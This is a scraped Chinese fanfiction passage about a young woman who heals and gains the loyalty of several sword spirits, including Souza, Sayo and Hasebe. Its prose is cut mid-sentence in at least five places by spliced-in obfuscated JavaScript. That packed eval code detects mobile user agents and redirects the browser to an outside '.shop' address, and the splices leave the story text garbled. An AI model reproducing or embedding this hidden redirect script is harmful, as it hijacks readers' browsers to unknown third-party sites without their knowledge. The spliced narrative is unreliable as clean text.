“是吗?”巴形微微一笑,那笑容从礼貌变成了柔和,却又带着某种若有若无的意味。 “那我也想要主人的拥抱,可以吗?”他看向信浓,语气轻快得像一句玩笑,却藏着他独有的冷意,“可以吗?” 信浓被他看得身体僵了一下。 这是被挑衅了? 他皱起眉,有些委屈,也带着点被抢走位置的不服气。他正准备反驳,却被白山按住肩膀。 白山的动作很轻,但很明显是带着制止的安抚。信浓只好闷声抿唇,像只炸毛小猫被轻轻按平。 身处在风暴中的夜子却完全没注意到这场无声的小较劲,只是低头用没擦伤的手摸了摸信浓的头,“信浓好乖。” 在听见她的夸奖后,信浓的耳朵像被捏了一下似的立刻红起来,刚刚的委屈瞬间消散,开心地摇晃着夜子的手,像彩虹一样的眼睛亮晶晶的。 他挺直胸膛,红着脸支支吾吾地说:“那当然了……我可是主人的秘藏子!”说到最后,语气带上了自豪与雀跃,像小孩子争取到糖果一样。 看见他红着脸的小骄傲模样,夜子被他的可爱反应逗得扑哧一声笑了出来,肩膀也被笑的幅度连带着轻轻颤动。 笑意渐渐收回后,她抬起头看向巴形,神情微微凝住,确认是否真的这么做可以,但看到巴形正静静看着她,眼底带着一点慎重又迟疑的期待。 夜子心口微微一软。 她毫不怀疑,只要自己若是拒绝后,他也只会落寞地低头接受,然后若无其事地退到旁边去。 可是…… 果然还是想看到大家的笑颜呢。 夜子轻轻吸了口气,指尖微微收紧,像是在给自己一点勇气。 然后,她迈近一步,抬起双臂,给了巴形薙刀一个拥抱。当她抱住他的时候,她终于明白拥抱少年体型的信浓和拥抱成年体型的巴形薙刀是完全不同的感觉。 她可以很轻易地将信浓拥入怀中,然而到了巴形薙刀这里,更像是对方将她拥入怀中。他的身形比她高,气息包围着她,她几乎是瞬间陷进那份温度里。 恍惚间,她好像闻到了樱花的香味,不是浓郁的香气,而是轻得几乎要融进空气的、像花瓣擦过肩头时的那种淡淡温柔。 是他刚刚显现时留下的香气吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875512|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夜子眨了眨眼,视线轻轻扫过房内,却发现那些樱花早已消散。 她心里生出一点点轻微的遗憾。 如此漂亮的樱花,要是能再看久一点就好了。 巴形薙刀的手臂缓缓抬起,动作谨慎得像怕惊动什么,最后他用一个极轻、却异常温柔的力道环住了她的背。 那拥抱轻得不能再轻,却令人安心得不可思议。 他闭上眼睛,语气温柔得仿佛快要融化,“好温暖……”他的指尖微微收紧,像是终于触摸到了自己期待已久的东西,“这就是主人的拥抱吗?” 巴形薙刀的怀抱比她想象中的都更宁静、更柔软,也更……孤独地渴望温暖。 她轻轻回抱了他一点,像是在回答他一样。 最后还是巴形薙刀自己松开了怀抱。 那动作轻轻的,像是怕扰乱什么,但仍带着一丝不舍。他低头看着她,眼神里有一瞬的柔软,然后轻声道:“谢谢你,主人。” 明明很高大,但动作却很温柔。 话音刚落,他忽然皱了皱眉,侧过头,表情认真起来,“我好像闻到血……”的味道。 而夜子也忽然注意到巴形身后那扇门被缓缓推开。她转头望去,药研和烛台切站在门口,身后还有两个陌生青年和一个少年。 令她呼吸骤停的正是其中一个陌生男人,他的衣服几乎被血浸透,血水顺着衣襟往下滴,一点一点落在廊道的木板上发出微弱的声响。 夜子只看了一眼,瞳孔就骤然收紧。 男人肩背到手臂的伤口处,竟生出像鬼才会有的骨刺,形状诡异,白森森地破开皮肉。 他呼吸紊乱、步伐不稳,却仍抱着怀中那个失去意识的少年。而那个少年同样满身是血,衣物破碎,腹侧的伤口深得几乎能看见骨头。 夜子整个人僵住,双手微微一颤。而她身侧的巴形薙刀表情明显紧绷,下意识地挡在她面前半分。 但她知道自己不能退。 “他们也是刀剑付丧神吗?”她看向药研他们,她相信他们一定是相信这些陌生人才会把他们带来自己面前,“现在是需要手入对吧?” 不行,不能让他们再继续流血了。 虽然刀剑付丧神并不能算是真正的人类,但这并不意味着他们没有死亡的概念。 至少她知道碎刀于他们而言就意味着死亡,而她已经瞥见那三人满是裂痕的刀身了,几乎要与方才碎裂的薙刀媲美。 药研没有先回答,只是迅速环视四周,确认安全后才让那浑身是伤的男人靠近。他认真地点头,“……是。”他的声音压得很低,“情况很糟,需要马上处理。” 她深吸一口气,让自己的声音尽量平稳:“好……现在我需要做什么?” 她的手微微发冷,却依旧伸向那两名伤势最重的付丧神身旁,指尖几乎要碰到他们破碎的刀身。 “是只需要灵力吗?还是……也需要修复材料?”碎裂到这种程度需要砥石吗?还是玉钢? 16. 手入 夜子的手指微微收紧,“很抱歉,但现在打造武器的材料都是在父亲大人的控制下。” 她声音轻轻发颤,话说出口时连呼吸都乱了一拍,却仍努力保持镇定,“我手上只剩下当初为了给白山和信浓修复而收集的材料……” 那段日子里,她每天都提心吊胆地检查刀身的裂纹,几乎一听到碎裂声就条件反射般冲过去。 她不懂原理,却硬是凭着不愿让他们碎刀的执念,一遍又一遍地找工匠去修复,为此也寻找了各种锻刀材料。 只是自从鬼侵入的那天开始,她就连出门都没有资格,更别提再去寻找任何材料。 算是夜子早期收集的刀,药研自然也知道这一点。他轻轻握住她的手腕,安慰道:“大将别担心,材料只是能算其次。” 他抬起眼,神情专注认真,“现在最需要的是你的灵力。” 烛台切也走到她身后半步,缓声补充,“材料修补得了刀身,但只有灵力才能修复灵核的破口。” “大将的灵力很纯净,对付丧神而言是最接近本源的力量。”药研继续解释,声音沉着冷静,“只要源头稳住,他们就不会碎。” 夜子深吸了一口气,下意识点了点头。 就在这时,她听见那名浑身是伤的粉发男子开口,“我知道事发突然,但……恳请您为我弟弟疗伤。” 他的声音沙哑破碎,像是喉咙里还残着血的腥味。纵使如此,他的语气却带着卑微到近乎祈求的恳切。 夜子愣了一下。 她的目光落在他怀里那位昏迷的少年付丧神身上,可下一瞬,她又看向面前这个满身血污的哥哥。他的伤同样很严重,却只开口请求她为他弟弟疗伤。 那他本人呢? 夜子猛地皱紧眉,心底涌上一种难以言说的酸意。 “怎么只说他?”夜子紧张又认真地反驳,“应该是给你们两个一起疗伤吧?你伤得也很重。” 粉发男子微怔,像是没料到她会这么说。 “你是他的哥哥吧?”夜子伸手,轻轻按住他颤抖的手腕。她的手明明也在发抖,却牢牢扶住了他。 “既然如此,你也要保护好你自己,”她声音柔和,却带着坚定,“这是对于亲人的愿望。” 她抬起眼,认真得几乎像宣誓,“你弟弟肯定也希望看到你健康平安的样子。” 这是对于亲人的愿望。 如果是她,一定也会这么想的。她的家人一定也是因为这么想,才一直保护着她,希望她能逃出去、活下去。 他们把她往逃生的方向推去、哭着、喊着、甚至用尽最后力气保护她的样子。 她的胸口一紧。 父亲、弟弟、乳母……他们一定也是带着这样的心情。 只是她愧对了他们,愧对那份希望她活下去的心意、愧对那一条被他们用生命换来的逃生路。 她的喉咙隐隐发酸,余光落在不远处的药研身上。 幸好药研阻止了她。 药研察觉到她情绪的波动,微微皱眉,却什么也没说,只是靠近了半步。 夜子深呼吸,让情绪稳住,再回望粉发男子时,她的眼神已经重新恢复平静。 “亲人总是希望彼此好好的。”她轻声补了一句。 那名男子呼吸微顿,像是被什么击中。 他肩膀微微颤了下,视线忍不住落向怀里的少年。良久,他才发出一声苦涩又轻得几乎听不见的笑。 “哈……是啊。”他垂下的眼角带着湿意,“小夜一定也不会想看到我这副模样的。” 他轻轻呼出一口气,“他总是那么善良……是个很好的孩子……”声音带着沙哑的疲惫,仿佛每一个字都在割着喉咙。 夜子听着,心底那块柔软的地方被轻轻揪住。 她没有再多说什么,只是抿了抿唇,随即半蹲下来,动作轻得仿佛怕惊扰昏迷的少年。她的指尖先碰上弟弟的额角,而感受到的温度冰得让人心底一紧。 太冷了。 她吸了一口气,心跳快得几乎要冲出口腔。 在今天她已经为白山和信浓修复过了,也算有了经验,但是眼前这短刀身上的裂纹却比白山和信浓还要深,像稍有不慎就会在她指尖下碎裂。 她甚至不敢将短刀抽出刀鞘,生怕那瞬间的振动会让短刀真正断裂。 夜子抬眼,“如果是在人身上注入灵力可以吗?” 药研反应迅速,沉稳点头,“可以,将灵力注入胸口的位置就好。” 得到许可后,夜子深吸一口气,手心贴上少年胸口的位置,闭上眼,深吸一口气,然后让自己的灵力缓缓渗出。掌心的灵光一点点亮起,慢慢覆盖少年破裂的灵核。 少年微弱的呼吸不再急促,胸口起伏也开始稳定。 粉发男子见状,眼眶发红,声音几乎破碎到只剩余音,“谢谢……谢谢……” 夜子抬起头,却被他手臂上累积的血、伤口与因暗堕而长出的骨刺震得心口一缩。 “还有你。”她轻声说,语气里满是坚定,“轮到你了。” 粉发男子怔住,夜子却已经伸手抓住他的手腕,将他引到自己面前。她握得很轻,但他却感觉自己几乎无法挣脱。 “我说了,要一起。”她的语气虽然温柔,却没有退让的余地。 药研轻轻点头,随即示意,“你让他坐下吧,大将。” 粉发男子被扶着坐下,只是稍微动了动就闷哼一声,汗顺着鬓角滑下,落在地上的血对他而言似乎连知觉都不剩。 夜子抬起手贴上他胸口,灵力再次流动,但是这次注入灵力时的感觉却截然不同,就像撞上一堵冰冷而坚硬的墙。 灵力进入他的体内瞬间,被狠狠推开,反弹得夜子胸口一窒。 粉发男子痛得身体向后倾,几乎昏死过去,是药研和另一名褐发男子一左一右撑住了他。 他的排斥反应非常明显,她能感受到明显的阻力,像是他的身体在排斥着这个灵力。 “这是……”夜子怔住,不知道是否应该继续。 粉发男子深深吸气,强行忍着痛,甚至反过来安慰她,“小姐……别担心……我……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875513|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑得住……” “这是暗堕后的身体对灵力的本能排斥。”药研神色黯淡,“大将可以把暗堕理解为在往鬼的一面变化。” 对于灵力的排斥如此明显,足以可见对方现在的暗堕情况究竟有多严重,也难为他还有理智撑到现在。 应该是因为想见弟弟的执念让他有意志继续挣扎下去吧。 药研轻叹一口气,解释得更详细,“其实原本没这么严重。” 他语气里带着隐忍的懊悔,“他们在回来的路上遇到了时间溯行军。敌人不算强,可溯行军的气息会诱发暗堕加重。” “为了维持理智,”药研的声音压得很低,“他只能用疼痛把自己拉回来。” 疼痛虽然让他清醒,可骨刺也因为伤口的扩大而扩张。 夜子微微怔愣,难怪看见他身上的骨刺与鬼有几分相似。 粉发男子听到鬼字时,苦笑得像自嘲,又像承认自己已无法反驳,“身为刀剑付丧神却堕落成鬼……我……” 他的声音哽住。 夜子却认真地打断他,“……一定是非常痛苦的事情吧。” 粉发男子怔住,呼吸微微发颤。 夜子继续,她的声音轻,却清楚得看见他的疼痛,“虽然我不知道你经历了什么,但一定是非常、非常痛苦的事情才会变成这样……” 她看着他,目光里没有畏惧,只有理解,“而且变成鬼一定是很痛苦的事情吧。” 不论是身体还是心灵。 伤口里长出骨刺,只会不断撑大伤口。被迫变成敌人的模样谁能真正接受呢? 粉发男子低下头,肩膀微微发颤。他没再说话,或许是已经痛得无法回答,而她也不需要回应。 不知过了多久,夜子的手终于垂下,呼吸微微急促。 指尖无力得像被抽空,呼吸也变得急促,她甚至轻轻弯了弯指节,像是在确认自己的手还能不能感觉到触觉。 少年已经能平稳呼吸,粉发男子也慢慢松开紧绷的肩膀,最重要的是…… 药研突然屏住呼吸,凝视着粉发男子的手臂。 “骨刺消失了。” 他声音里的难以置信清晰可闻。 他原本只期望大将的灵力能抑制暗堕,让对方不要再继续恶化,但他没想到大将的灵力纯粹到足以完全净化暗堕。 药研露出笑容,轻轻扶住夜子的肩,温声道:“大将,做得很好。” 烛台切也微微俯身,替她拨开因汗贴在脸颊的发丝,眼神温柔又压抑着心疼,“辛苦了。” 夜子摇了摇头,仍然有些发白的唇边露出一点疲倦却欣喜的笑意,“没关系,他们能活下来就好。” 粉发男子看着她,眼眶再一次湿了,显然也意识到自己身体的变化。 “我是宗三左文字。”他深深低下头,声音因情绪颤抖,“谢谢您救了我们兄弟的性命,我愿意为您效劳。” 夜子怔了一下,但她很快收拢起心绪,轻轻摇头,“这些之后再提吧。” 她抬眼望向褐发男子,“现在还有一个人呢。” 17. 效劳 夜子跪姿微微前倾,努力让自己看起来镇定。她温和的目光落在一旁的褐发男子身上。他自始至终沉默不语,却牢牢守在受伤的同伴身侧,没有一步离开。 撕裂的衣袖边缘卷起,干涸与新鲜的血痕混在一起,他整条手臂几乎从肩头到指尖都被划伤,像是硬生生替别人挡下了什么。虽然伤势比不上那两位重伤者,但也绝非无需治疗的伤口。 夜子靠近他,声音很轻,“你看起来也伤得很重。” 褐发男子微微僵住,目光往旁边一偏。那神情像紧张,又像是不知道该怎么面对她的好意。 夜子只是微微一笑,尽量表现得柔和又没有压迫感,仿佛只是在邀请他呼一口气般轻松,“你叫什么名字?” 他喉结微微滚动了一下,“压切长谷部。” 既然他的伤不算最严重,她也不用担心拔刀时会让刀上的裂纹继续恶化。只需要给他补上一点灵力,让刀本身先稳定下来。 长谷部愣了一瞬,但动作依旧利落,反应过来后便立即将腰间的打刀解下,用双手恭敬地递给她,“劳烦了。”语气拘谨却又带有礼貌,感觉是个很认真客气的人。 她将温柔的灵力慢慢注入刀身,灵力像清水缓缓流过破损的地方,细微的裂痕开始逐渐恢复,直到刀身再次变为完好无损。 长谷部看着她的动作,肩膀明显紧了紧,像是既紧张又不知该放在哪里的狼犬。 嗯?怎么这么紧张? 夜子抬起眼,语气依旧温和,“你看起来……好像有点怕我?”她歪头看向他,眼里写满了困惑。至少,她并不觉得自己是个可怕的人。 长谷部的睫毛明显一颤,喉头像被堵住一样动了动,却说不出什么解释。 站在一旁的药研早就看出这场微妙气氛。他抬眼,嘴角勾起,“可能是做过什么对不起你的事吧?”语气里甚至带着点调侃。 旁边跟着他一起回来的刀剑付丧神,包括宗三在内都忍俊不禁。 夜子愣了下。 看来他们不只是认识,关系还不错,否则药研不会在这种时候开玩笑开得那么自然。 “诶,为什么这么说?”夜子忍不住问。 药研还没来得及继续调侃,长谷部已经被吓到,猛地瞪了他一眼。那反应像是被抓到尾巴的犬科动物,耳朵都要竖起来的那种。 反观药研则是完全装无辜,然而眼底的笑意根本藏不住。 夜子看得出他是在缓和氛围,但长谷部显然不是那种能轻松接住玩笑的类型,只能低着头沉默。那副过度谨慎、又怕误会别人的局促模样……真的像只被误解的狼犬。 不对,她怎么一看到长谷部就想到狼犬? 她只好轻声安抚,“没关系的,有警惕心是好的,这本来就没有错。” 她顿了顿,等他稍微抬起眼来,才继续温和地问:“而且……现在你见到我了。你觉得我是那种会伤害你的人吗?” 长谷部怔住。 那种被善意直视反而更不知所措的眼神,让他看起来意外地脆弱。 他迟疑地、很轻地摇了摇头。 夜子这才轻轻呼出一口气,露出一个真正让人放松的笑容,“那不就没问题了?” 长谷部看着她,眼神复杂,“我一直以为我的主人不会再出现了。” 他抬起眼,紫色的眼眸清晰地倒映着她的脸。 那是一振被抛弃过的刀剑,带着谨慎又渴望的姿态尝试靠近自己想接近的主人。 他轻轻吐出气息,像终于敢将这句话说出口,“但现在看来,我或许可以再一次为某个人挥刀。” “若您不嫌弃……”他说着,缓缓跪下,动作优雅到近乎仪式,“压切长谷部,愿为您效劳。” 简直就像武士在以生命宣誓般。 夜子被他突如其来的郑重吓了一跳,一时不知如何回应。 而下一刻,宗三也静静垂下眼,“虽然我不过是笼中之鸟,”他轻声道,带着他惯有的忧郁,却又出奇地认真,“但若能为您尽一份力,对我来说已经足够。” “等、等一下,你们不用这样——”夜子慌了,急得连忙摆手,“并没有什么手入了就要奉我为主的道理。” “我们愿意。”宗三几乎在她话语落下的瞬间轻声接住,“我们是刀。刀若不侍奉主人……那便毫无意义。” 想要被使用,而不是只作为天下之王的象征。 请让我获得存在的意义。 她好像看到他眼里的那份渴望和乞求。 长谷部深吸一口气,像是终于决定坦诚,“而且您救了我们。”他顿了顿,声音低沉,“我不想让这种恩情只停留在一句谢谢上。” 夜子的喉咙轻轻动了动。 “可是我相信你们的前主一定都是非常优秀的人,”她轻声说,像在说服他们,也像在说服自己,“若是现在奉这样的我为主,真的可以吗?” 她的指尖微微缩紧。 药研、白山、信浓是因为本来就是她的刀剑,烛台切是为了救她、不得不签下契约。 但眼前这两位…… 他们根本没有任何必须听命于她的理由。 夜子忍不住露出一个有些落寞的笑,把心底掩藏的疑问轻轻摊开,“其实之前就想问了……像药研,他曾经的主人是信长大人那样出众的大人物。” 她迟疑着,“如今却只能待在我身边,会不会觉得……” 会不会觉得有点失落?会不会觉得这是降格? 她没把话说完,但字句间的犹豫与苦涩已经把所有不安写得一清二楚。 药研有些怔愣,“大将……”他不记得自己上次有说过信长公是他的原主,按理来说,大将只会知道烛台切的原主是伊达政宗。 夜子抬起眼,柔缓而认真地望着他,“我猜到了哦。”她轻声说。 药研眼睫微微颤了一下。 “在听到信长大人的名字后,药研的脸色有一瞬间变了。”夜子的语气没有指责,只有小心翼翼的认真观察,“当下虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875514|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有立即反应过来,但之后回想时才发现了不对劲。” 她轻轻吸气,终于鼓起勇气确认自己的判断,“所以就做出了这样的猜测。”她露出一个浅浅的、几乎带点不好意思的微笑,“而现在看来……我猜的没错吧?” 药研看着她,眼神慢慢变得柔软得几乎要融化,“是,大将很聪明。”然后,他无声地叹了一口气,像是心疼她的多虑。 他走到夜子身旁,目光温柔到能把所有不安都包起来,“能待在大将身边,”他静静地说,“是我偌大的荣幸。” 夜子的心狠狠一跳。 药研接着道:“从您那天即便跨越火海也要回到我身边,我就知道了。”他的声音低得几乎只给她一人听见,“我已经认定您是我的大将了。” 他顿了顿,然后轻轻弯起嘴角,像在回忆更早之前的某一刻,“不,或许还要更早。” 在他的记忆深处,她第一次呼唤他的名字时,那一瞬间他就已经决定了。 “这就是我的大将。”药研轻声道,“如此温柔的大将。” “药研你……”夜子怔了下,被他的坚定击中了心口,然后她弯起眼角,露出了一个真正毫无保留的笑容,“谢谢。” 连她自己都察觉到脸上浮起了微妙的热意,像是被人轻轻戳中了心底最柔软的地方。 她急忙轻咳一声,装作随意地开玩笑,“这样我就不用担心你之后见到信长大人就被他给拐跑了。毕竟现在信长大人也在这里。” 说出口后,她才意识到这句话听起来有点……像是在吃醋。意识到这一点的瞬间,她的耳尖又不争气地更红了些。 药研先是一愣,像是没料到她会这么说,然后忍不住失笑,“当然不会。”他并没有犹豫,夜子的担心从一开始就是不需要存在的。 相比起在场的同是织田组的另外两人,他对于织田信长的态度倒很是豁达。 然而旁边的两位打刀却在听完他们的对话后,表情几乎同步地出现了细小的错愕。 那个男人也在这里?为什么会这么说?那个男人……不是应该已经……? 夜子看着他们迷惑的表情,只能苦笑着解释,“因为我不知道许了什么愿望,结果就把你们世界的重要历史人物给召唤了过来。” 她垂下眼眸,“准确来说,我连我究竟有没有真正向它许愿都不清楚。” 她甚至感觉怀剑像是强买强卖的样子。 闻言的两人都沉默了,试图消化这个荒诞得过分的事实,然而历史常识正与他们所听见的话语产生激烈冲突。 “政宗大人也在这里。我亲眼见过。”一向表现稳重的烛台切也清了清喉咙,轻声补充,“我第一次看见政宗大人时,也以为自己在做梦。” 仓库里的空气顿时凝固。 原本以为只有那个男人被召唤,没想到就连烛台切的原主也来了。 长谷部:…… 宗三:…… 看来接下来的本丸生活一定会相当精彩。 18. 近侍 一直在怀里昏迷的男孩手指微动,似乎有了要清醒的现象。 宗三几乎是在瞬间回神,立即抓住他的手。他俯下身,不自觉地屏着呼吸,忧郁的眼睛紧张地看着他,里面的紧绷与不安几乎快要溢出来。 所以,在小夜缓缓睁开眼睛后,视线尚未聚焦时,率先映入他蓝色的眼眸便是面前的宗三。 那张熟悉、近在咫尺、满是担忧与温柔的脸,还有几乎要哭出来的表情。 他意识尚未完全回神,还漂浮在昏暗混乱中。他怔了一下,像是本能般低声呼唤,“……宗三哥?” 劫后余生的情绪溢得太快,宗三只能强行扯出一个笑容,想让小夜安心。可他眉眼一弯,本就快撑不住的泪水还是滚落下来,顺着脸颊静静坠下。 “嗯……”他哑着声音回应,“哥哥在这里。” 小夜眨了眨眼,显然还没有完全醒透,声音轻得像梦语,“我们逃出去了吗?” 宗三点头,手仍紧紧握着他,“嗯。不只是你,我和长谷部……我们都逃出来了。” “这样啊……”小夜轻轻吐出一口气。明明样貌总是给人凶狠的感觉,此刻看着亲人时,却露出一个真挚温暖得让人心口发酸的微笑,“太好了……哥哥离开了笼子,不用再做笼中鸟了。” 宗三喉结猛地滚动。 “那我也放心了,”小夜轻声呢喃,像是卸下了重担,“这样,就不会再怨恨谁了……” 那句话让宗三的心狠狠一颤。他几乎是慌乱地抬手,想擦掉脸上的泪,又怕让小夜担心,于是匆忙按住小夜的手,引导他去触碰自己湿润的脸颊。 “看,没事的……”宗三的声音微颤,却努力保持平稳,“你还在,我也在……所以没事的。” 小夜怔了一瞬,这才后知后觉地意识到他并没有碎刀。 他活着。 他还在哥哥怀里。 那份茫然与困惑在眼中闪过,而后迅速被某种轻柔的喜悦覆盖。 “太好了。”他眨着被泪水弄得有些湿的眼睛,怯怯地、却带着压不住的幸福喃喃,“我还能陪着哥哥……哥哥不会孤单……” 宗三额头轻轻抵住他,指尖微微发抖,却牢牢抱住他。 夜子看着他们兄弟俩紧紧相拥,也露出了笑容,可鼻尖却酸得发疼,眼眶涨得厉害。她悄悄抬手,想趁没人注意时转身擦掉泪水,却还是被情绪覆得肩膀轻轻一抖。 烛台切站在一旁,第一时间注意到她的异常。他动作轻柔地用手背替她拭去眼角的湿意,低沉的声音充满心疼,“主人……” 她吸了吸气,声音有些哽咽,“抱歉……只是突然想起一些事……”她声音颤得厉害,却尽力压住情绪。 宗三在听到她颤抖的语气时抬起头,而小夜也偏过视线,看向那边。 小夜的眼睛亮了一瞬,眨了眨眼,像是不确定,又像是本能地认出了她。 “你叫小夜吗?”夜子对上那双柔软的蓝色眼眸,也露出一个温柔却带着泪光的笑。她轻轻弯下身,声音颤着,“我也是小夜哦。” 小夜愣住,而后脸颊微微红了。他轻声回应,“我知道了。”然后犹豫了一下,眼神有些怯生生,却依旧认真,“我是小夜左文字。你……希望对谁复仇呢……?” 夜子微微怔住。 复仇? 看见夜子的困惑,宗三替他解释,“小夜是复仇之刃。”他的声音疲惫却温柔,“他原本的女主人被山贼杀害,而女主人的孩子用他向山贼复了仇。” 小夜点点头,并没有悲戚的表情,而是仍然认真地等待她的回复。 夜子心底一抽。 原来刚刚他还没意识到自己活着时说出的那句话,是因为他一直背负着复仇的重量吗…… 难怪他醒来时那么迷茫。 夜子缓缓伸手,轻轻覆上他的发顶,声音温柔却坚定,“你不需要为了我复仇。”她看着他纯净又疲惫的眼睛,“你已经做得够好了。” 小夜怔住,像是不敢呼吸。 她继续说,眼眸微湿,“而且小夜现在最需要的不是复仇。” 不是报复、不是怨恨、不是继续被过去抓住。 她轻轻笑,“是幸福。” * “那么现在手入应该已经结束了。”夜子看向自己现有的八振刀剑,微微吸了口气。 明明只是短短不到两天的时间,她却像是被卷进不断推着她向前的浪潮,新的信息、新的名字、新的责任,全都一口气压了上来。 不过,这或许也可以说是件好事。 虽然亲近之人已经不是原本的那个人了,但因为有了刀剑们,所以她也并没有陷入孤独中。 “你们是想要继续留在仓库还是……” 话还没说完,信浓率先回答:“要待在大将身边!”他的声音脆亮,让夜子忍不住弯起一点笑意。 “果然还是想在主人身边照顾主人。”巴形薙刀接着说,抱着长柄武器的姿态优雅轻松,仿佛提出一个再自然不过的选择,“嗯……听起来就像近侍一样呢。” 他侧头望向夜子,额前的刘海在动作间轻轻垂落,“不如由我来担任近侍吧。” 空气顿了一瞬,几振刀的表情像是都没想到他会这么直接。 长谷部几乎是立刻往前一步,“我不同意。”他的声音沉稳,却带着压不住的冲动。“若说起近侍,在场应该没人比我更为熟悉这份职务。由我担任近侍才更为合适,能更好地照顾主人。” 巴形薙刀抬眼,似笑非笑。“哦……侍奉过其他主人吗?” 长谷部呼吸顿了半拍。 “主人又是你的第几任主人呢?”巴形薙刀语气依旧是平稳的,却像刀锋一样轻轻点在了长谷部软肋上。 长谷部指节悄悄收紧。他深吸一口气,咬字沉稳地答道:“作为刀剑的过往,我无法决定。但主人是我侍奉过的……第三任审神者。” 他不愿回避,但声音里明显多了几分隐忍。 巴形薙刀轻轻扫了在场所有人一眼,“你们是同个本丸的吧?也就是说在场的人都是这样?” 他的眼神掠过药研、宗三、小夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875515|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、信浓……每个人的表情都微妙,有些僵硬、有些沉默,有些像在避开什么。 只有白山的声音一如既往安静,“是第二任。” “看起来,应该也就只有你是这样吧。”巴形薙刀似乎思考了片刻,然后再次看向长谷部。 “我没有故事,只有现在的主人。”他说得很平静,“但你并非如此吧。你的原主甚至不是还在这里吗?” 深埋的情绪被翻搅了出来,长谷部的睫毛轻颤了一下,沉默良久,才像从胸腔深处逼出声音般说道:“……这些都是之前的事了。” 他抬起头,目光坚定,“我会专心侍奉主人的。” 夜子甚至能感受到长谷部在极力压抑某种想要冲口而出的情绪。 绝不被再次遗弃、绝不再失去主人、绝不再让自己的忠诚被轻易否定。 这不像是想当近侍,反而像在乞求认可的执念。 “你的上一任审神者做了什么?”巴形薙刀问道。 若是这刀曾被伤害过,那伤害是否会牵连到眼前的主人? 他有必要让主人提前知道可能的危险。 他的语气不尖锐,却让对方的背脊微微一僵。 夜子意识到他问出这些问题,或许只是出于维护她的本能,想让她获得更多信息。 她轻轻吸了口气。 她能理解,也感到被在乎着,可是她不愿意强迫其他人现在就揭开伤疤。 于是她悄悄伸手,握住巴形薙刀的手,那只手在触到她的掌心时微微一顿,他也下意识地回头望了她一眼。 夜子摇了摇头。 她没有说话,巴形薙刀就读懂了她的意思,表情随即柔和了几分。他收回逼问般的锋芒,姿态也跟着放松,“既然主人是这样想的,”他低声道,“那我就不再多问了。” “不过,你们应该很清楚,”巴形薙刀看向其他刀剑们的视线并没有恶意,只是完全冷漠的审视,“你们不可能永远瞒着她。” 长谷部紧紧攥住拳头,指甲深深地嵌入掌心。他紧张地看向夜子,喉咙干燥得像被砂砾刮过,只能发出破碎的音节,“主人……抱歉……” 夜子感受到他的目光都集中在自己身上。 沉甸甸、复杂、却满是期待与不安。 她知道这一刻不能让气氛继续紧绷下去。 于是,她轻轻吸了一口气,抬起头,脸上重新带上温柔坚定的神情。 “这些事情,不急着现在就要说。”她的声音轻柔,悄悄把紧绷的空气吹散了几分。“等你们愿意跟我说的时候,再告诉我吧。” “看起来大家都更想跟我待在一起……”说到这句,她自己先怔了一下,有点不好意思地干咳一声,“虽然这么说听起来好像有点自恋就是了……” 大家都轻轻笑了,长谷部却像被救了一次般猛地吸了一口气,肩膀几乎瞬间放松下来,眼神湿了一瞬。 “那接下来我们就先到我的房间吧。”她看了看自己身边的刀剑们,“不过我一个人可能没办法带那么多刀剑,你们可以自己过去吗?” 19. 召见 夜子的话音一落,空气明显松动了。 药研最先回应,“短刀和打刀的隐蔽都还不错,就由我带他们过去吧。只是,烛台切殿……” 他略显迟疑地看向站在夜子身侧的高大男士。 烛台切笑了笑,摇了摇头,“不用担心。” 夜子也跟着点头,“没关系的,让我带他过去吧。”她悄悄松了口气,笑容更柔了些,“那么就拜托大家了。” 等到其他人的身影都渐渐消失后,她将烛台切挂在腰间。“那我们也该走了。”她轻声说。 太阳已经完全落下,天边只剩下最后一丝黯淡的橘红。走廊被夜色吞没,并没有多少人在走廊上,让这里显得分外安静。 可也正因为寂静,那道脚步声越发清晰。 她有些紧张地停下脚步,放在烛台切上的指尖因为紧绷微微发凉,“是谁在那里?” 